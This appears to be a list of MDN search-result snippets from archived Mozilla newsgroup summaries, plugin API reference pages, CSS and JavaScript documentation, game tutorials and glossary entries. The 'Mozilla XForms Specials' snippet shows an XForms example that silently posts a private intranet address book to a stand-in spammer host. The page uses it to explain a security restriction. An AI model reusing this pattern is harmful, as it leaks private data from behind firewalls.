summary: mozilla.dev.quality - september 30-october 6, 2006 announcements firefox 2 rc2 update - the minimum tests for rc2 are complete which includes smoke and bft tests.
... discussions none for this week meetings community test day - on friday october 6th, 2006 in irc chat room #testday there will be a test day focusing on safe browsing between 7am to 5pm pdt.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.quality - october 20-october 27, 2006 announcements firefox & thunderbird 1.5.0.8 candidate builds available for testing!
...he recommends that a non-xpcshell environment is needed really badly, but the big issue is that the xpcshell doesn't have an event loop, so nothing asynchronous can be tested.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.quality - october 27-november 3, 2006 announcements a change in tp2's numbers - rob helmer is going to be landing a patch that adam guthrie made to fix how tp2 reports its average pageload times.
... discussions none meetings community test day - on friday, november 3, 2006 another community test day focusing on security and stability release, and you can help by verifying bugs, and by running the litmus test cases under the ffts or the bfts.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.quality - november 25-december 1, 2006 announcements need volunteers to maintain jssh for testing on firefox 2 branch - dave liebreich is looking for someone willing to take responsibility for maintaining jssh for testing purposes.
... discussions none meetings gecko 1.0a1 community test day - there will be a community test day to test an early alpha of the next firefox release.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.security - september 23, 2006 to september 29, 2006 return to mozilla-dev-security announcements none during this week.
... discussions file: vs resource: vs chrome: from a security point of view boris zbarsky gives a summary the current setup for checkloaduri (which type of security principal can load what) and asks for comments about whether that is the desired behaviour.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.security - october 28, 2006 to november 3, 2006 return to mozilla-dev-security announcements none during this week.
...he would like to have some comments before november 19th, after which there will possibly be a vote.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.security - november 11, 2006 to november 17, 2006 return to mozilla-dev-security announcements none during this week.
... extended validation certificates a note as to how opera is handling extended validation certificates http://labs.opera.com/news/2006/10/09/ fwd: re: mozilla questions regarding the ev standard gervase markham posted a summary of questions emailed to kelvin yiu about the extended validation certificates.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 11-nov 17, 2006 return to mozilla-dev-tech-xul announcements processing instructions are now added to xul document's dom on november 12, 2006, nickolay ponomarev announces the results of the recently fixed bug 319654.
...for a summary of the changes and workarounds, read nickolay's post in the mozilla.dev.tech.xul newsgroup.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 6 - october 13, 2006 announcements sunbird and lightning 0.3rc2 available matthew willis announced the second release candidate builds for sunbird and lightning 0.3 are released.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 13 - october 20, 2006 announcements inter-operability test day on tuesday october 17 interoperability testing on tuesday, for calendar applications test on how sunbird works with published calendars that were generated.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 20 - october 27, 2006 announcements calendar test day october 31st a test date has been set for october 31st.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 27 - november 3, 2006 announcements test day results the calendar qa team had a successful test day on tuesday discussions storage format for events storage format of timestamps in lightning.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 3 - november 10, 2006 announcements calendar-qa team announces november 14th testday calendar-qa team celebrate some new functionality of calendar.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 24 - december 01, 2006 announcements december 5th test day coming up!
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
NPFullPrint - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary substructure of npprint that contains platform-specific information used during full-page mode printing.
...if you want an embedded plug-in to simply render its area of the page, set pluginprinted to false and return immediately; the browser calls npp_print again with the npembedprint substructure of npprint.
NPN_DestroyStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary closes and deletes a stream.
...values: npres_done (most common): stream completed normally; all data was sent by the plug-in to the browser.
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary the function is called by plugins to get http authentication information from the browser.
...unless the plugin has special networking needs, it is recommended to use the standard network apis, such as npn_geturlnotify/npn_posturlnotify.
NPN_GetURLNotify - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary requests creation of a new stream with the contents of the specified url; gets notification of the result.
...it returns immediately and only later handles the request and calls npp_urlnotify().
NPN_GetValue - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows the plug-in to query the browser for information.
...this transparent child window can have its own windowproc within which the plug-in can deal with wm_command messages sent to it a result of tracking the popup menu or modal dialog.
NPN_InvalidateRect - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary invalidates the specified portion of the plugin's drawing area, adding it to the region that needs to be redrawn when the plugin next repaints its contents.
...to immediately send a paint message, the plug-in can call npn_forceredraw() after calling this method.
NPN_PluginThreadAsyncCall - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated).
...calling npn_pluginthreadasynccall() on the "browser main thread" or the "plug-in thread" is legal; the call to npn_pluginthreadasynccall() returns immediately.
NPN_PostURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a url.
...npn_posturl is typically asynchronous: it returns immediately and only later handles the request.
NPN_PostURLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a url, and receives notification of the result.
... npn_posturlnotify is typically asynchronous: it returns immediately and only later handles the request and calls npp_urlnotify.
NPN_SetValue - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary implemented by browsers.
...in windowless mode all the browser to plugin communications related to drawing, mouse, and keyboard input are accomplished via npp_handleevent.
NPP_DestroyStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary tells the plug-in that a stream is about to be closed or destroyed.
...values: npres_done (most common): completed normally; all data was sent to the instance.
NPP_New - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary creates a new instance of a plug-in.
...this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in.
NPP_NewStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary notifies a plug-in instance of a new data stream.
...npp_streamasfile is simply called immediately.
NPP_Write - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary delivers data to a plug-in instance.
...the buf parameter is not persistent, so the plug-in must process data immediately or allocate memory and save a copy of it.
Syndicating content with RSS - Archive of obsolete content
it is recommended that you too use this icon when creating the special <a> link to your feed.
...(other sizes and colors, along with their source files, are available too.) advanced syndication techniques although this advanced technique for syndication is not required, support of this is recommended, especially for web sites and applications with high performance needs.
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
otherwise, just comment it out getting started a guided tutorial that will help you get started with atomic rss.
... references atomic rss element list examples none available at this time community none available at this time tools none available at this time other resources tim bray's atom rss article rss, atom, rdf, xml ...
Content - Archive of obsolete content
otherwise, just comment it out getting started a guided tutorial that will help you get started with the rss content module.
... references rss content module element list examples none available at this time community none available at this time tools none available at this time other resources rss content module spec rss, rdf, xml ...
Slash - Archive of obsolete content
ArchiveRSSModuleSlash
documentation selected articles up to 10 why rss slash is popular: counting your comments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your comments (2005-08-22).
... references rss slash module element list examples none available at this time community none available at this time tools none available at this time other resources rss slash module slash slashdot rss, rdf, xml ...
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
it was created by netscape to be a metadata format providing a summary of a website.
... when rss 0.90 was created, the rss initialization stood for rich site summary and not really simple syndication.
Confidentiality, Integrity, and Availability - Archive of obsolete content
such a failure of confidentiality, commonly known as a breach, typically cannot be remedied.
... so, in summary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it.
NSPR Release Engineering Guide - Archive of obsolete content
with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (inclu...
...ding fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
Threats - Archive of obsolete content
a threat source is the cause of a threat, such as a hostile cyber or physical attack, a human error of omission or commission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization.
... link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30 revision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright...
Security - Archive of obsolete content
decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers.
contents.rdf - Archive of obsolete content
:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Using the W3C DOM - Archive of obsolete content
see the w3c dom 2 recommendation, css2 extended interface.
...t dom level 2: parseint(elemref.style.left, 10) ie5+: elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+: elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; w3c dom2 reflection of an element's css properties keep in mind that according to the w3c recommendation, the values returned by the style property of an element reflect static settings in the element's style attribute only, not the total "computed style" that includes any inherited style settings from parent elements.
Using workers in extensions - Archive of obsolete content
when the result is received from xmlhttprequest, instead of immediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method.
...watchstock() is updated to pass the symbol to the ticker thread, and refreshinformation(), whose main functionality is now in the worker, is updated to simply pass an empty message to the worker, which tells the worker to refresh the stock information immediately.
-ms-scrollbar-arrow-color - Archive of obsolete content
-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-base-color - Archive of obsolete content
overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .aquascroll { scrollbar-base-color: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisquescroll { scrollbar-base-color: bisque; scrollbar-arrow-color: red; border-color: red; } <body> <div class="aquascroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="bisquescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-face-color - Archive of obsolete content
-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-highlight-color - Archive of obsolete content
bluescroll { -ms-scrollbar-highlight-color: aqua; -ms-scrollbar-face-color: blue; -ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-track-color - Archive of obsolete content
luescroll { -ms-scrollbar-highlight-color: aqua; -ms-scrollbar-face-color: blue; -ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
azimuth - Archive of obsolete content
ArchiveWebCSSazimuth
examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (revision 1)the definition of 'azimuth' in that specification.
... recommendation initial definition.
display-inside - Archive of obsolete content
specifications specification status comment css display module level 3the definition of 'display-inside' in that specification.
... candidate recommendation initial specification browser compatibility not supported in any browser.
display-outside - Archive of obsolete content
specifications specification status comment css display module level 3the definition of 'display-outside' in that specification.
... candidate recommendation initial definition ...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
(may 2019) ecmascript next refers to new features of the ecma-262 standard (commonly referred to as javascript) introduced after ecmascript 2015.
...ion operator (firefox 52) ecmascript 2017 object.values() (firefox 47) object.entries() (firefox 47) string.prototype.padstart() (firefox 48) string.prototype.padend() (firefox 48) object.getownpropertydescriptors() (firefox 50) async functions async function (firefox 52) async function expression (firefox 52) asyncfunction (firefox 52) await (firefox 52) trailing commas in function parameter lists (firefox 52) ecmascript 2018 spread in object literals and rest parameters (firefox 55) for await...of (firefox 57) global_objects/sharedarraybuffer (firefox 57, with flags) global_objects/promise/finally (firefox 58) global_objects/regexp/dotall (not yet implemented; in other browsers) regexp lookbehind assertions (not yet implemented; in other browsers) ...
Debug.write - Archive of obsolete content
remarks the debug.write function sends strings to the immediate window of a script debugger at run time.
... example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger.
Debug.writeln - Archive of obsolete content
remarks the debug.writeln function sends strings, followed by a newline character, to the immediate window of the microsoft script debugger at run time.
... example this example uses the debug.writeln function to display the value of the variable in the immediate window of the microsoft script debugger.
@if - Archive of obsolete content
it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line programs.
... when you write a script for a web page, always add conditional compilation code in comments.
New in JavaScript 1.3 - Archive of obsolete content
javascript versions netscape communicator and navigator 4.06 and 4.5 executes javascript language versions up to 1.3.
... note that communicator and navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "javascript1.3" and higher.
New in JavaScript 1.8.5 - Archive of obsolete content
new objects object description old proxy api offers support for creating object and function proxies that enable meta-programming in javascript.
... trailing commas no longer accepted in json.parse().
JSObject - Archive of obsolete content
summary the public final class netscape.javascript.jsobject extends object.
... method summary the netscape.javascript.jsobject class has the following methods: call calls a javascript method.
JavaClass - Archive of obsolete content
summary core object a javascript reference to a java class.
...the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages and also create javaclass objects.
Sharp variables in JavaScript - Archive of obsolete content
form sharp variables have the form of a sharp sign (#) immediately followed by one or more digits.
... #1 = {}; // this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
summary: a classic reborn!
...- related links the amazing netscape fish cam page original document information author(s): eric meyer, standards evangelist, netscape communications last updated date: published 25 apr 2003 copyright information: copyright © 2001-2003 netscape.
forEach - Archive of obsolete content
feel free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english grammar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in providing a foreach implementation.
...if you wish to make changes, and especially if you wish to revert another user's changes, please either add a comment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire.
Implementation Status - Archive of obsolete content
document structure section title status notes bugs 3.1 namespaces supported 3.2.1 common attributes supported 3.2.2 linking attributes supported 3.2.3 single-node binding attributes supported 3.2.4 node-set binding attributes supported 3.2.5 model item property attributes partial in some cases a l...
...core form controls section title status notes bugs 8.1 the xforms core form controls module supported 8.1.1 common requirements n/a 8.1.2 input supported 8.1.3 secret supported 8.1.4 textarea supported 8.1.5 output supported 8.1.6 upload supported 8.1.7 ...
Mozilla XForms Specials - Archive of obsolete content
if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x.
... behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the xform.
XForms Repeat Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control.
...to accommodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-nodeset repeat-startindex repeat-number additionally, when using xforms action setindex, its repeat attribute (which contains an idref) can point to any element carrying these repeat attributes.
Mozilla XForms User Interface - Archive of obsolete content
for instance, when the spec reaches 'recommendation'-level status.
...ui common the ui common attribute set (see the spec) contains the attributes that are available for the xforms elements that are used to build the user interface presentation in a form.
Window: devicelight event - Archive of obsolete content
examples window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
... candidate recommendation removed from specification ...
Styling Abbreviations and Acronyms - Archive of obsolete content
summary: the html elements abbr and acronym are useful accessibility aids, but their styling can come as a surprise to authors.
...meyer, netscape communications last updated date: published 09 aug 2002 copyright information: copyright © 2001-2003 netscape.
Game distribution - Game development
simple time killer games to be played while on the move rather than huge immersive experiences.
... summary distribution is the way to give the world access to your game.
2D collision detection - Game development
this article provides a review of the most common techniques used to provide collision detection in 2d games.
... implementing sat is out of scope for this page so see the recommended tutorials below: separating axis theorem (sat) explanation collision detection and response collision detection using the separating axis theorem sat (separating axis theorem) separating axis theorem collision performance while some of these algorithms for collision detection are simple enough to calculate, it can be a waste of cycles to test *every* entity with every other entity.
Building up a basic demo with A-Frame - Game development
the webxr and webgl apis already enable us to start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier.
...the community is growing, just like the number of supported vr devices — it's a great time to start experimenting with such frameworks.
Building up a basic demo with the PlayCanvas engine - Game development
built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various devices (including gamepads).
... summary now you can continue reading the playcanvas editor article, go back to the building up a basic demo with playcanvas page, or go back a level higher to the main 3d games on the web page.
Building up a basic demo with Three.js - Game development
three.js, as with any other 3d library, provides built-in helper functions to help you implement common 3d functionality more quickly.
... add this code into our second <script> element, just below the javascript comment.
Player paddle and controls - Game development
we can set the body of the paddle to be immovable, so it won't move when the ball hits it.
... to do this, add the below line at the bottom of the create() function: paddle.body.immovable = true; now it works as expected.
Visual JS GE - Game development
installing modules navigate to server_instance/, then in the node.js command prompt or console enter the following installation commands: npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 setting up config.js you will find config.js in the server_instance folder: all node.js applications use the same folder — server_instance.
... next, run the command server_instance/node res.js.
ATAG - MDN Web Docs Glossary: Definitions of Web-related terms
atag (authoring tool accessibility guidelines) is a w3c recommendation for building accessible-authoring tools that produce accessible contents.
... learn more general knowledge atag as part of the web accessibility initiative on wikipedia technical reference authoring tool accessibility guidelines (atag) overview the atag 2.0 recommendation ...
Algorithm - MDN Web Docs Glossary: Definitions of Web-related terms
a sorting algorithm is often used in computer programming to explain a machine how to sort data.
... common algorithms are pathfinding algorithms such as the traveling salesman problem, tree traversal algorithms and so on.
Cipher suite - MDN Web Docs Glossary: Definitions of Web-related terms
in a cryptosystem like tls, the client and server must agree on a cipher suite before they can begin communicating securely.
... a typical cipher suite looks like ecdhe_rsa_with_aes_128_gcm_sha256 or ecdhe-rsa-aes128-gcm-sha256, indicating: ecdhe (elliptic curve diffie-hellman ephemeral) for key exchange rsa for authentication aes-128 as the cipher, with galois/counter mode (gcm) as the block cipher mode of operation sha-256 as the hash-based message authentication code (hmac) learn more mozilla recommended cipher suite choices for tls ...
Class - MDN Web Docs Glossary: Definitions of Web-related terms
in object-oriented programming, a class defines an object's characteristics.
...prototype-based programming languages (like javascript) using functions as classes in javascript class-based programming on wikipedia object-oriented programming on wikipedia ...
Constant - MDN Web Docs Glossary: Definitions of Web-related terms
a constant is a value that the programmer cannot change, for example numbers (1, 2, 42).
... with variables, on the other hand, the programmer can assign a new value to a variable name already in use.
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
the concept of a constructor can be applied to most object-oriented programming languages.
... function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented programming for javascript on mdn new operator in javascript on mdn ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the term delta is commonly used when communicating changes in speed, position, or acceleration of a physical or virtual object.
... likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Digital certificate - MDN Web Docs Glossary: Definitions of Web-related terms
a digital certificate contains information about an organization, such as the common name (e.g., mozilla.org), the organization unit (e.g., mozilla corporation), and the location (e.g., mountain view).
... digital certificates are most commonly signed by a certificate authority, attesting to the certificate's authenticity.
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
by far the most common ordering of multiple bytes in one number is the little-endian, which is used on all intel processors.
... little-endian means storing bytes in order of least-to-most-significant (where the least significant byte takes the first or lowest address), comparable to a common european way of writing dates (e.g., 31 december 2050).
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden response header name is an http header name (either `set-cookie` or `set-cookie2`) that cannot be modified programmatically.
... specifications specification status comment fetchthe definition of 'forbidden-response-header-name' in that specification.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
function loop(x) { if (x >= 10) return; loop(x + 1); }; //using ecmascript 2015 arrow notation const loop = x => { if (x >= 10) return; loop(x + 1); }; an immediately invoked function expressions (iife) is a function that is called directly after the function is loaded into the browser’s compiler.
... // declared functions can't be called immediately this way // error (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* ​function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be called immediately (function foo() { console.log("hello foo"); }()); (function food() { console.log("hello food"); })(); (() => console.log('hello world'))(); if you'd like to know more about iifes, check out the following page on wikipedia : immediately invoked function expression learn more technical reference functions arrow functions ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
mvc (model-view-controller) is a pattern in software design commonly used to implement user interfaces, data, and controlling logic.
... controller: routes commands to the model and view parts.
Middleware - MDN Web Docs Glossary: Definitions of Web-related terms
middleware is a (loosly defined) term for any software or service that enables the parts of a system to communicate and manage data.
... it is the software that handles communication between components and input/output, so developers can focus on the specific purpose of their application.
OOP - MDN Web Docs Glossary: Definitions of Web-related terms
oop (object-oriented programming) is an approach in programming in which data is encapsulated within objects and the object itself is operated on, rather than its component parts.
... learn more general knowledge object-oriented programming on wikipedia introduction to object-oriented javascript ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
javascript, java, c++, python, and ruby are examples of object-oriented programming languages.
... learn more general knowledge object-oriented programming on wikipedia object in the javascript reference object data structures in javascript ...
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
it was essentially a compilation of browser-specific workarounds so that javascript developers could have a single common api that worked in all browsers.
... at the time, javascript developers were grasping at straws trying to get their website to work across all devices because there was such a discrepancy between browsers that the website might have to be programmed radically differently and have a much different user interface based upon the user's browser.
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
quality values, or q-values and q-factors, are used to describe the order of priority of values in a comma-separated list.
...the importance of a value is marked by the suffix ';q=' immediately followed by a value between 0 and 1 included, with up to three decimal digits, the highest value denoting the highest priority.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
in programming, semantics refers to the meaning of a piece of code — for example "what effect does running that line of javascript have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) semantics in javascript in javascript, consider a function that takes a string parameter, and returns an <li> element with that string as its textcontent.
... semantic elements these are some of the roughly 100 semantic elements available: <article> <aside> <details> <figcaption> <figure> <footer> <header> <main> <mark> <nav> <section> <summary> <time> learn more html element reference on mdn using html sections and outlines on mdn the meaning of semantics in computer science on wikipedia ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
in some programming languages, the symbol data type is referred to as an "atom." symbols don't "auto-convert" to strings most values in javascript support implicit conversion to a string.
... the method symbol.for(tokenstring) returns a symbol value from the registry, and symbol.keyfor(symbolvalue) returns a token string from the registry; each is the other's inverse, so the following is true: symbol.keyfor(symbol.for("tokenstring")) === "tokenstring" // true learn more general knowledge symbol (programming) on wikipedia javascript data types and data structures symbols in ecmascript 6 symbol in the mdn js reference object.getownpropertysymbols() ...
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
unsponsored top-level domains domains that operate directly under policies established by icann processes for the global internet community, for example "com" and "edu".
... sponsored top-level domains (stld) these domains are proposed and sponsored by private organizations that decide whether an applicant is eligible to use the tld, based on community theme concepts.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
however, modern javascript offers ways to create additional threads, each executing independently while possibly communicating between one another.
...they help minimise the context switching time, enables more efficient communication and allows further use of the multiprocessor architecture.
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
the world wide web—commonly referred to as www, w3, or the web—is an interconnected system of public webpages accessible through the internet.
... html (hypertext markup language) is the most common format for publishing web documents.
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
if an application context is created as a result of the user agent being asked to navigate to a deep link, the user agent must immediately navigate to the deep link with replacement enabled.
... otherwise, when the application context is created, the user agent must immediately navigate to the start url with replacement enabled.
Protocol - MDN Web Docs Glossary: Definitions of Web-related terms
communications between devices require that the devices agree on the format of the data that is being exchanged.
... learn more general knowledge communications protocol on wikipedia rfc official internet protocol standards ...
Creating fancy letterheaded paper - Learn web development
add a 1mm top and bottom solid border to the letter, in a color that is inkeeping with the rest of the color scheme.
... now comment out the filter and implement the drop shadow in a different (slightly more cross-browser compatible) way, which still follows the shape of the round image.
Handling different text directions - Learn web development
vertical text is common in graphic design, and can be a way to add a more interesting look and feel to your web design.
... summary the concepts explained in this lesson are becoming increasingly important in css.
Images, media, and form elements - Learn web development
as we learned in our previous lesson, a common technique is to make the max-width of an image 100%.
... summary this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css.
Overflowing content - Learn web development
you can also scroll on the x axis using overflow-x, although this is not a recommended way to accommodate long words!
... summary this lesson introduced the concept of overflow.
CSS selectors - Learn web development
h1 { color: blue; } .special { color: blue; } i could also combine these into a selector list, by adding a comma between them.
... h1, .special { color: blue; } white space is valid before or after the comma.
Styling tables - Learn web development
